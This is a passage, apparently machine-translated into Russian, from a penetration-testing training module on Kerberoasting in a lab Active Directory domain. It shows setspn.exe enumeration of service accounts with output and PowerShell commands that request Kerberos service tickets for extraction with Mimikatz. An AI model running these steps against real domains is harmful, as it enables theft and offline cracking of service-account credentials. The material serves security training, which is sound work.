Загрузка Kerberoasting - из Windows


Обработка кербером - Полуавтоматический метод

До появления таких инструментов, как Rubeus, кража или подделка билетов Kerberos была сложным ручным процессом. По мере развития тактики и средств защиты мы теперь можем выполнять загрузку Kerberos из Windows несколькими способами. Чтобы начать с этого пути, мы изучим ручной способ, а затем перейдем к более автоматизированному инструменту. Давайте начнем со встроенного двоичного файла setspn для перечисления SPN в домене.

Перечисление SPN с помощью setspn.exe

Загрузка Kerberoasting - из Windows

C:\\htb> setspn.exe -Q */*

Checking domain DC=INLANEFREIGHT,DC=LOCAL
CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
        exchangeAB/ACADEMY-EA-DC01
        exchangeAB/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        TERMSRV/ACADEMY-EA-DC01
        TERMSRV/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/ForestDnsZones.INLANEFREIGHT.LOCAL
        ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DomainDnsZones.INLANEFREIGHT.LOCAL

<SNIP>

CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        backupjob/veam001.inlanefreight.local
CN=SOLARWINDSMONITOR,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        sts/inlanefreight.local

<SNIP>

CN=sqlprod,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SPSJDB.inlanefreight.local:1433
CN=sqlqa,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SQL-CL01-01inlanefreight.local:49351
CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
CN=adfs,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        adfsconnect/azure01.inlanefreight.local

Existing SPN found!

Мы заметим множество разных SPN, возвращаемых для разных хостов в домене. Мы сосредоточимся на user accounts и проигнорируем учетные записи компьютеров, возвращаемые инструментом. Далее, используя PowerShell, мы можем запросить TGS-заявки для учетной записи в командной строке выше и загрузить их в память. Как только они будут загружены в память, мы можем извлечь их с помощью Mimikatz. Давайте попробуем это, настроив таргетинг на одного пользователя:

Нацелена на одного пользователя

Загрузка Kerberoasting - из Windows

PS C:\\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Прежде чем двигаться дальше, давайте разберем приведенные выше команды, чтобы увидеть, что мы делаем (что, по сути, используется Rubeus при использовании метода Kerberoasting по умолчанию).:

Мы также можем выбрать извлечение всех билетов с помощью того же метода, но при этом будут извлечены все учетные записи компьютеров, поэтому этот способ не является оптимальным.

Получение всех билетов с помощью setspn.exe

Загрузка Kerberoasting - из Windows